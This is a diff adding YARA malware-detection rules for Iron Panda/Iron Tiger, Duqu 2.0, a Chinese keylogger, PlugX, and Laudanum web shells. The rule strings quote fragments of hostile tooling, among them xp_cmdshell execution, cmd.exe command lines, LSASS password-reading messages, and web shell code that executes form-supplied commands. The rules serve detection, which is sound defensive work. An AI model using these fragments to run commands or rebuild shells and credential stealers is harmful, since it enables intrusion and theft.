+		$s8 = "use error domain,set domain pls use -d or -domain mark(Current: %s,recv %s)" fullword ascii
+		$s9 = "error: packet num error.the connection have condurt,pls try later" fullword ascii
+		$s10 = "Coversation produce one error:%s,coversation fail" fullword ascii
+		$s11 = "try to add many same pipe to select group(or mark is too easy)." fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 400KB and 2 of them ) 
+		or
+		5 of them
+}
+
+rule IronPanda_Malware1 {
+	meta:
+		description = "Iron Panda Malware"
+		author = "Florian Roth"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		hash = "a0cee5822ddf254c254a5a0b7372c9d2b46b088a254a1208cb32f5fe7eca848a"
+	strings:
+		$x1 = "activedsimp.dll" fullword wide
+		$s1 = "get_BadLoginAddress" fullword ascii
+		$s2 = "get_LastFailedLogin" fullword ascii
+		$s3 = "ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED" fullword ascii
+		$s4 = "get_PasswordExpirationDate" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule IronPanda_Webshell_JSP {
+	meta:
+		description = "Iron Panda Malware JSP"
+		author = "Florian Roth"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		hash = "3be95477e1d9f3877b4355cff3fbcdd3589bb7f6349fd4ba6451e1e9d32b7fa6"
+	strings:
+		$s1 = "Bin_ExecSql(\"exec master..xp_cmdshell'bcp \\\"select safile from \" + db + \"..bin_temp\\\" queryout \\\"\" + Bin_TextBox_SaveP" ascii
+		$s2 = "tc.Text=\"<a href=\\\"javascript:Bin_PostBack('zcg_ClosePM','\"+Bin_ToBase64(de.Key.ToString())+\"')\\\">Close</a>\";" fullword ascii
+		$s3 = "Bin_ExecSql(\"IF OBJECT_ID('bin_temp')IS NOT NULL DROP TABLE bin_temp\");" fullword ascii
+	condition:
+		filesize < 330KB and 1 of them
+}
+
+rule IronPanda_Malware_Htran {
+	meta:
+		description = "Iron Panda Malware Htran"
+		author = "Florian Roth"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		hash = "7903f94730a8508e9b272b3b56899b49736740cea5037ea7dbb4e690bcaf00e7"
+	strings:
+		$s1 = "[-] Gethostbyname(%s) error:%s" fullword ascii
+		$s2 = "%s -<listen|tran|slave> <option> [-log logfile]" fullword ascii
+		$s3 = "-slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s4 = "[-] ERROR: Must supply logfile name." fullword ascii
+		$s5 = "[SERVER]connection to %s:%d error" fullword ascii
+		$s6 = "[+] Make a Connection to %s:%d...." fullword ascii
+		$s7 = "[+] Waiting another Client on port:%d...." fullword ascii
+		$s8 = "[+] Accept a Client on port %d from %s" fullword ascii
+		$s9 = "[+] Make a Connection to %s:%d ......" fullword ascii
+		$s10 = "cmshared_get_ptr_from_atom" fullword ascii
+		$s11 = "_cmshared_get_ptr_from_atom" fullword ascii
+		$s12 = "[+] OK! I Closed The Two Socket." fullword ascii
+		$s13 = "[-] TransmitPort invalid." fullword ascii
+		$s14 = "[+] Waiting for Client on port:%d ......" fullword ascii
+	condition:
+		 ( uint16(0) == 0x5a4d and filesize < 125KB and 3 of them ) 
+		 or 
+		 5 of them
+}
+
+rule IronPanda_Malware2 {
+	meta:
+		description = "Iron Panda Malware"
+		author = "Florian Roth"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		hash = "a89c21dd608c51c4bf0323d640f816e464578510389f9edcf04cd34090decc91"
+	strings:
+		$s0 = "\\setup.exe" fullword ascii
+		$s1 = "msi.dll.urlUT" fullword ascii
+		$s2 = "msi.dllUT" fullword ascii
+		$s3 = "setup.exeUT" fullword ascii
+		$s4 = "/c del /q %s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 180KB and all of them
+}
+
+rule IronPanda_Malware3 {
+	meta:
+		description = "Iron Panda Malware"
+		author = "Florian Roth"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		hash = "5cd2af844e718570ae7ba9773a9075738c0b3b75c65909437c43201ce596a742"
+	strings:
+		$s0 = "PluginDeflater.exe" fullword wide
+		$s1 = ".Deflated" fullword wide
+		$s2 = "PluginDeflater" fullword ascii
+		$s3 = "DeflateStream" fullword ascii /* Goodware String - occured 1 times */
+		$s4 = "CompressionMode" fullword ascii /* Goodware String - occured 4 times */
+		$s5 = "System.IO.Compression" fullword ascii /* Goodware String - occured 6 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 10KB and all of them
+}
+
+rule IronPanda_Malware4 {
+	meta:
+		description = "Iron Panda Malware"
+		author = "Florian Roth"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		hash = "0d6da946026154416f49df2283252d01ecfb0c41c27ef3bc79029483adc2240c"
+	strings:
+		$s0 = "TestPlugin.dll" fullword wide
+		$s1 = "<a href='http://www.baidu.com'>aasd</a>" fullword wide
+		$s2 = "Zcg.Test.AspxSpyPlugins" fullword ascii
+		$s6 = "TestPlugin" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 10KB and all of them
+}
+
+rule IronTiger_ASPXSpy
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "ASPXSpy detection. It might be used by other fraudsters"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str2 = "IIS Spy" wide ascii
+		$str3 = "protected void DGCoW(object sender,EventArgs e)" nocase wide ascii
+	condition:
+		any of ($str*)
+}
+
+rule IronTiger_ChangePort_Toolkit_driversinstall
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - Changeport Toolkit driverinstall"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "openmydoor" nocase wide ascii
+		$str2 = "Install service error" nocase wide ascii
+		$str3 = "start remove service" nocase wide ascii
+		$str4 = "NdisVersion" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (2 of ($str*))
+}
+
+rule IronTiger_ChangePort_Toolkit_ChangePortExe
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - Toolkit ChangePort"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "Unable to alloc the adapter!" nocase wide ascii
+		$str2 = "Wait for master fuck" nocase wide ascii
+		$str3 = "xx.exe <HOST> <PORT>" nocase wide ascii
+		$str4 = "chkroot2007" nocase wide ascii
+		$str5 = "Door is bind on %s" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (2 of ($str*))
+}
+
+rule IronTiger_dllshellexc2010
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "dllshellexc2010 Exchange backdoor + remote shell"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "Microsoft.Exchange.Clients.Auth.dll" nocase ascii wide
+		$str2 = "Dllshellexc2010" nocase wide ascii
+		$str3 = "Users\\ljw\\Documents" nocase wide ascii
+		$bla1 = "please input path" nocase wide ascii
+		$bla2 = "auth.owa" nocase wide ascii
+	condition:
+		(uint16(0) == 0x5a4d) and ((any of ($str*)) or (all of ($bla*)))
+}
+
+rule IronTiger_dnstunnel
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "This rule detects a dns tunnel tool used in Operation Iron Tiger"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "\\DnsTunClient\\" nocase wide ascii
+		$str2 = "\\t-DNSTunnel\\" nocase wide ascii
+		$str3 = "xssok.blogspot" nocase wide ascii
+		$str4 = "dnstunclient" nocase wide ascii
+		$mistake1 = "because of error, can not analysis" nocase wide ascii
+		$mistake2 = "can not deal witn the error" nocase wide ascii
+		$mistake3 = "the other retun one RST" nocase wide ascii
+		$mistake4 = "Coversation produce one error" nocase wide ascii
+		$mistake5 = "Program try to use the have deleted the buffer" nocase wide ascii
+	condition:
+		(uint16(0) == 0x5a4d) and ((any of ($str*)) or (any of ($mistake*)))
+}
+
+rule IronTiger_EFH3_encoder
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger EFH3 Encoder"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "EFH3 [HEX] [SRCFILE] [DSTFILE]" nocase wide ascii
+		$str2 = "123.EXE 123.EFH" nocase wide ascii
+		$str3 = "ENCODER: b[i]: = " nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (any of ($str*))
+}
+
+rule IronTiger_GetPassword_x64
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - GetPassword x64"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "(LUID ERROR)" nocase wide ascii
+		$str2 = "Users\\K8team\\Desktop\\GetPassword" nocase wide ascii
+		$str3 = "Debug x64\\GetPassword.pdb" nocase wide ascii
+		$bla1 = "Authentication Package:" nocase wide ascii
+		$bla2 = "Authentication Domain:" nocase wide ascii
+		$bla3 = "* Password:" nocase wide ascii
+		$bla4 = "Primary User:" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and ((any of ($str*)) or (all of ($bla*)))
+}
+
+rule IronTiger_Gh0stRAT_variant
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "This is a detection for a s.exe variant seen in Op. Iron Tiger"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "Game Over Good Luck By Wind" nocase wide ascii
+		$str2 = "ReleiceName" nocase wide ascii
+		$str3 = "jingtisanmenxiachuanxiao.vbs" nocase wide ascii
+		$str4 = "Winds Update" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (any of ($str*))
+		and not filename == "UpdateSystemMib.exe"
+}
+
+rule IronTiger_GTalk_Trojan
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - GTalk Trojan"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "gtalklite.com" nocase wide ascii
+		$str2 = "computer=%s&lanip=%s&uid=%s&os=%s&data=%s" nocase wide ascii
+		$str3 = "D13idmAdm" nocase wide ascii
+		$str4 = "Error: PeekNamedPipe failed with %i" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (2 of ($str*))
+}
+
+rule IronTiger_HTTPBrowser_Dropper
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - HTTPBrowser Dropper"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = ".dllUT" nocase wide ascii
+		$str2 = ".exeUT" nocase wide ascii
+		$str3 = ".urlUT" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (2 of ($str*))
+}
+
+rule IronTiger_HTTP_SOCKS_Proxy_soexe
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Toolset - HTTP SOCKS Proxy soexe"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "listen SOCKET error." nocase wide ascii
+		$str2 = "WSAAsyncSelect SOCKET error." nocase wide ascii
+		$str3 = "new SOCKETINFO error!" nocase wide ascii
+		$str4 = "Http/1.1 403 Forbidden" nocase wide ascii
+		$str5 = "Create SOCKET error." nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (3 of ($str*))
+}
+
+rule IronTiger_NBDDos_Gh0stvariant_dropper
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - NBDDos Gh0stvariant Dropper"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "This service can't be stoped." nocase wide ascii
+		$str2 = "Provides support for media palyer" nocase wide ascii
+		$str4 = "CreaetProcess Error" nocase wide ascii
+		$bla1 = "Kill You" nocase wide ascii
+		$bla2 = "%4.2f GB" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and ((any of ($str*)) or (all of ($bla*)))
+}
+
+rule IronTiger_PlugX_DosEmulator
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - PlugX DosEmulator"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "Dos Emluator Ver" nocase wide ascii
+		$str2 = "\\PIPE\\FASTDOS" nocase wide ascii
+		$str3 = "FastDos.cpp" nocase wide ascii
+		$str4 = "fail,error code = %d." nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (any of ($str*))
+}
+
+rule IronTiger_PlugX_FastProxy
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - PlugX FastProxy"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "SAFEPROXY HTServerTimer Quit!" nocase wide ascii
+		$str2 = "Useage: %s pid" nocase wide ascii
+		$str3 = "%s PORT[%d] TO PORT[%d] SUCCESS!" nocase wide ascii
+		$str4 = "p0: port for listener" nocase wide ascii
+		$str5 = "\\users\\whg\\desktop\\plug\\" nocase wide ascii
+		$str6 = "[+Y] cwnd : %3d, fligth:" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (any of ($str*))
+}
+
+rule IronTiger_PlugX_Server
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - PlugX Server"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "\\UnitFrmManagerKeyLog.pas" nocase wide ascii
+		$str2 = "\\UnitFrmManagerRegister.pas" nocase wide ascii
+		$str3 = "Input Name..." nocase wide ascii
+		$str4 = "New Value#" nocase wide ascii
+		$str5 = "TThreadRControl.Execute SEH!!!" nocase wide ascii
+		$str6 = "\\UnitFrmRControl.pas" nocase wide ascii
+		$str7 = "OnSocket(event is error)!" nocase wide ascii
+		$str8 = "Make 3F Version Ok!!!" nocase wide ascii
+		$str9 = "PELEASE DO NOT CHANGE THE DOCAMENT" nocase wide ascii
+		$str10 = "Press [Ok] Continue Run, Press [Cancel] Exit" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (2 of ($str*))
+}
+
+rule IronTiger_ReadPWD86
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - ReadPWD86"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "Fail To Load LSASRV" nocase wide ascii
+		$str2 = "Fail To Search LSASS Data" nocase wide ascii
+		$str3 = "User Principal" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (all of ($str*))
+}
+
+rule IronTiger_Ring_Gh0stvariant
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - Ring Gh0stvariant"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "RING RAT Exception" nocase wide ascii
+		$str2 = "(can not update server recently)!" nocase wide ascii
+		$str4 = "CreaetProcess Error" nocase wide ascii
+		$bla1 = "Sucess!" nocase wide ascii
+		$bla2 = "user canceled!" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and ((any of ($str*)) or (all of ($bla*)))
+}
+
+rule IronTiger_wmiexec
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Tool - wmi.vbs detection"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "Temp Result File , Change it to where you like" nocase wide ascii
+		$str2 = "wmiexec" nocase wide ascii
+		$str3 = "By. Twi1ight" nocase wide ascii
+		$str4 = "[both mode] ,delay TIME to read result" nocase wide ascii
+		$str5 = "such as nc.exe or Trojan" nocase wide ascii
+		$str6 = "+++shell mode+++" nocase wide ascii
+		$str7 = "win2008 fso has no privilege to delete file" nocase wide ascii
+	condition:
+		2 of ($str*)
+}
+/*
+	Yara Rule Set
+	Author: Mixed - Kasperksy & Florian Roth
+	Date: 2015-06-10
+	Identifier: Duqu2
+*/
+
+/* Rules by Kaspersky ------------------------------------------------------ */
+
+rule apt_duqu2_loaders { 
+	meta:
+		copyright = "Kaspersky Lab"
+		description = "Rule to detect Duqu 2.0 samples"
+		last_modified = "2015-06-09"
+		version = "1.0"
+	strings:
+		$a1 = "{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E}" wide 
+		$a2 = "\\\\.\\pipe\\{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E}" wide
+		$a4 = "\\\\.\\pipe\\{AB6172ED-8105-4996-9D2A-597B5F827501}" wide
+		$a5 = "Global\\{B54E3268-DE1E-4c1e-A667-2596751403AD}" wide
+		$a8 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" wide
+		$a9 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" wide
+		$a7 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" wide
+		$b1 = "MSI.dll"
+		$b2 = "msi.dll"
+		$b3 = "StartAction"
+		$c1 = "msisvc_32@" wide
+		$c2 = "PROP=" wide
+		$c3 = "-Embedding" wide
+		$c4 = "S:(ML;;NW;;;LW)" wide
+		$d1 = "NameTypeBinaryDataCustomActionActionSourceTargetInstallExecuteSequenceConditionSequencePropertyValueMicrosoftManufacturer" nocase
+		$d2 = {2E 3F 41 56 3F 24 5F 42 69 6E 64 40 24 30 30 58 55 3F 24 5F 50 6D 66 5F 77 72 61 70 40 50 38 43 4C 52 ?? 40 40 41 45 58 58 5A 58 56 31 40 24 24 24 56 40 73 74 64 40 40 51 41 56 43 4C 52 ?? 40 40 40 73 74 64 40 40}
+	condition:
+		( (uint16(0) == 0x5a4d) and ( (any of ($a*)) or (all of ($b*)) or (all of ($c*)) ) and filesize < 100000 )
+		or
+		( (uint32(0) == 0xe011cfd0) and ( (any of ($a*)) or (all of ($b*)) or (all of ($c*)) or (any of ($d*)) ) and filesize < 20000000 )
+}
+
+rule apt_duqu2_drivers { 
+	meta:
+		copyright = "Kaspersky Lab"
+		description = "Rule to detect Duqu 2.0 drivers"
+		last_modified = "2015-06-09"
+		version = "1.0"
+	strings:
+		$a1 = "\\DosDevices\\port_optimizer" wide nocase 
+		$a2 = "romanian.antihacker" 
+		$a3 = "PortOptimizerTermSrv" wide 
+		$a4 = "ugly.gorilla1"
+		$b1 = "NdisIMCopySendCompletePerPacketInfo" 
+		$b2 = "NdisReEnumerateProtocolBindings"
+		$b3 = "NdisOpenProtocolConfiguration"
+	condition:
+		uint16(0) == 0x5A4D and (any of ($a*) ) and (2 of ($b*)) and filesize < 100000
+}
+
+/* Action Loader Samples --------------------------------------------------- */
+
+rule Duqu2_Generic1 {
+	meta:
+		description = "Kaspersky APT Report - Duqu2 Sample - Generic Rule"
+		author = "Florian Roth"
+		reference = "https://goo.gl/7yKyOj"
+		date = "2015-06-10"
+		super_rule = 1
+		hash0 = "3f9168facb13429105a749d35569d1e91465d313"
+		hash1 = "0a574234615fb2382d85cd6d1a250d6c437afecc"
+		hash2 = "38447ed1d5e3454fe17699f86c0039f30cc64cde"
+		hash3 = "5282d073ee1b3f6ce32222ccc2f6066e2ca9c172"
+		hash4 = "edfca3f0196788f7fde22bd92a8817a957c10c52"
+		hash5 = "6a4ffa6ca4d6fde8a30b6c8739785f4bd2b5c415"
+		hash6 = "00170bf9983e70e8dd4f7afe3a92ce1d12664467"
+		hash7 = "32f8689fd18c723339414618817edec6239b18f3"
+		hash8 = "f860acec9920bc009a1ad5991f3d5871c2613672"
+		hash9 = "413ba509e41c526373f991d1244bc7c7637d3e13"
+		hash10 = "29cd99a9b6d11a09615b3f9ef63f1f3cffe7ead8"
+		hash11 = "dfe1cb775719b529138e054e7246717304db00b1"
+	strings:
+		$s0 = "Global\\{B54E3268-DE1E-4c1e-A667-2596751403AD}" fullword wide
+		$s1 = "SetSecurityDescriptorSacl" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 189 times */
+		$s2 = "msisvc_32@" fullword wide
+		$s3 = "CompareStringA" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 1392 times */
+		$s4 = "GetCommandLineW" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 1680 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and all of them
+}
+
+rule APT_Kaspersky_Duqu2_procexp {
+	meta:
+		description = "Kaspersky APT Report - Duqu2 Sample - Malicious MSI"
+		author = "Florian Roth"
+		reference = "https://goo.gl/7yKyOj"
+		date = "2015-06-10"
+		hash1 = "2422835716066b6bcecb045ddd4f1fbc9486667a"
+		hash2 = "b120620b5d82b05fee2c2153ceaf305807fa9f79"
+		hash3 = "288ebfe21a71f83b5575dfcc92242579fb13910d"
+	strings:
+		$x1 = "svcmsi_32.dll" fullword wide
+		$x2 = "msi3_32.dll" fullword wide
+		$x3 = "msi4_32.dll" fullword wide
+		$x4 = "MSI.dll" fullword ascii
+
+		$s1 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" fullword wide
+		$s2 = "Sysinternals installer" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "Process Explorer" fullword wide /* PEStudio Blacklist: strings */ /* Goodware String - occured 5 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and ( 1 of ($x*) ) and ( all of ($s*) )
+}
+
+rule APT_Kaspersky_Duqu2_SamsungPrint {
+	meta:
+		description = "Kaspersky APT Report - Duqu2 Sample - file 2a9a5afc342cde12c6eb9a91ad29f7afdfd8f0fb17b983dcfddceccfbc17af69"
+		author = "Florian Roth"
+		reference = "https://goo.gl/7yKyOj"
+		date = "2015-06-10"
+		hash = "ce39f41eb4506805efca7993d3b0b506ab6776ca"
+	strings:
+		$s0 = "Installer for printer drivers and applications" fullword wide /* PEStudio Blacklist: strings */
+		$s1 = "msi4_32.dll" fullword wide
+		$s2 = "HASHVAL" fullword wide
+		$s3 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" fullword wide
+		$s4 = "ca.dll" fullword ascii
+		$s5 = "Samsung Electronics Co., Ltd." fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 82KB and all of them
+}
+
+rule APT_Kaspersky_Duqu2_msi3_32 {
+	meta:
+		description = "Kaspersky APT Report - Duqu2 Sample - file d8a849654ab97debaf28ae5b749c3b1ff1812ea49978713853333db48c3972c3"
+		author = "Florian Roth"
+		reference = "https://goo.gl/7yKyOj"
+		date = "2015-06-10"
+		hash = "53d9ef9e0267f10cc10f78331a9e491b3211046b"
+	strings:
+		$s0 = "ProcessUserAccounts" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "SELECT `UserName`, `Password`, `Attributes` FROM `CustomUserAccounts`" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "SELECT `UserName` FROM `CustomUserAccounts`" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" fullword wide
+		$s4 = "msi3_32.dll" fullword wide
+		$s5 = "RunDLL" fullword ascii
+		$s6 = "MSI Custom Action v3" fullword wide
+		$s7 = "msi3_32" fullword wide
+		$s8 = "Operating System" fullword wide /* PEStudio Blacklist: strings */ /* Goodware String - occured 9203 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 72KB and all of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-03-07
+	Identifier: CN Keylogger APT
+*/
+
+rule Keylogger_CN_APT {
+	meta:
+		description = "Keylogger - generic rule for a Chinese variant"
+		author = "Florian Roth"
+		date = "2016-03-07"
+		score = 75
+		hash = "3efb3b5be39489f19d83af869f11a8ef8e9a09c3c7c0ad84da31fc45afcf06e7"
+	strings:
+		$x1 = "Mozilla/4.0 (compatible; MSIE6.0;Windows NT 5.1)" fullword ascii
+		$x2 = "attrib -s -h -r c:\\ntldr" fullword ascii
+		$x3 = "%sWindows NT %d.%d" fullword ascii
+		$x4 = "Referer: http://%s/%s.aspx?n=" fullword ascii
+
+		$s1 = "\\cmd.exe /c \"systeminfo.exe >> " fullword ascii
+		$s2 = "%s\\cmd.exe /c %s >> \"%s\"" fullword ascii
+		$s3 = "shutdown.exe -r -t 0" fullword ascii
+		$s4 = "dir \"%SystemDrive%\\\" /s /a" fullword ascii
+		$s5 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" fullword ascii
+		$s6 = "http_s.exe" fullword ascii
+		$s7 = "User Agent\\Post Platform\\" fullword ascii
+		$s8 = "desktop.tmp" fullword ascii
+		$s9 = "\\support.icw" fullword ascii
+		$s10 = "agc.tmp" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 100KB and 1 of ($x*) ) or 3 of them
+}
+rule Korplug_FAST {
+    meta:
+        description = "Rule to detect Korplug/PlugX FAST variant"
+        author = "Florian Roth"
+        date = "2015-08-20"
+        hash = "c437465db42268332543fbf6fd6a560ca010f19e0fd56562fb83fb704824b371"
+    strings:
+        $x1 = "%s\\rundll32.exe \"%s\", ShadowPlay" fullword ascii
+
+        $a1 = "ShadowPlay" fullword ascii
+
+        $s1 = "%s\\rundll32.exe \"%s\"," fullword ascii
+        $s2 = "nvdisps.dll" fullword ascii
+        $s3 = "%snvdisps.dll" fullword ascii
+        $s4 = "\\winhlp32.exe" fullword ascii
+        $s5 = "nvdisps_user.dat" fullword ascii
+        $s6 = "%snvdisps_user.dat" fullword ascii
+    condition:
+        uint16(0) == 0x5a4d and filesize < 500KB and 
+        (
+            $x1 or
+            ($a1 and 1 of ($s*)) or 
+            4 of ($s*)
+        )
+}/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-06-22
+	Identifier: Laudanum
+*/
+
+rule asp_file {
+	meta:
+		description = "Laudanum Injector Tools - file file.asp"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "ff5b1a9598735440bdbaa768b524c639e22f53c5"
+	strings:
+		$s1 = "' *** Written by Tim Medin <tim@counterhack.com>" fullword ascii
+		$s2 = "Response.BinaryWrite(stream.Read)" fullword ascii
+		$s3 = "Response.Write(Response.Status & Request.ServerVariables(\"REMOTE_ADDR\"))" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "%><a href=\"<%=Request.ServerVariables(\"URL\")%>\">web root</a><br/><%" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "set folder = fso.GetFolder(path)" fullword ascii
+		$s6 = "Set file = fso.GetFile(filepath)" fullword ascii
+	condition:
+		uint16(0) == 0x253c and filesize < 30KB and 5 of them
+}
+
+rule php_killnc {
+	meta:
+		description = "Laudanum Injector Tools - file killnc.php"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "c0dee56ee68719d5ec39e773621ffe40b144fda5"
+	strings:
+		$s1 = "if ($_SERVER[\"REMOTE_ADDR\"] == $IP)" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "header(\"HTTP/1.0 404 Not Found\");" fullword ascii
+		$s3 = "<?php echo exec('killall nc');?>" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "<title>Laudanum Kill nc</title>" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "foreach ($allowedIPs as $IP) {" fullword ascii
+	condition:
+		filesize < 15KB and 4 of them
+}
+
+rule asp_shell {
+	meta:
+		description = "Laudanum Injector Tools - file shell.asp"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "8bf1ff6f8edd45e3102be5f8a1fe030752f45613"
+	strings:
+		$s1 = "<form action=\"shell.asp\" method=\"POST\" name=\"shell\">" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "%ComSpec% /c dir" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Set objCmd = wShell.Exec(cmd)" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Server.ScriptTimeout = 180" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "cmd = Request.Form(\"cmd\")" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "' ***  http://laudanum.secureideas.net" fullword ascii
+		$s7 = "Dim wshell, intReturn, strPResult" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 15KB and 4 of them
+}
+
+rule settings {
+	meta:
+		description = "Laudanum Injector Tools - file settings.php"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "588739b9e4ef2dbb0b4cf630b73295d8134cc801"
+	strings:
+		$s1 = "Port: <input name=\"port\" type=\"text\" value=\"8888\">" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<li>Reverse Shell - " fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "<li><a href=\"<?php echo plugins_url('file.php', __FILE__);?>\">File Browser</a>" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 13KB and all of them
+}
+
+rule asp_proxy {
+	meta:
+		description = "Laudanum Injector Tools - file proxy.asp"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "51e97040d1737618b1775578a772fa6c5a31afd8"
+	strings:
+		$s1 = "'response.write \"<br/>  -value:\" & request.querystring(key)(j)" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "q = q & \"&\" & key & \"=\" & request.querystring(key)(j)" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "for each i in Split(http.getAllResponseHeaders, vbLf)" fullword ascii
+		$s4 = "'urlquery = mid(urltemp, instr(urltemp, \"?\") + 1)" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "s = urlscheme & urlhost & urlport & urlpath" fullword ascii /* PEStudio Blacklist: strings */
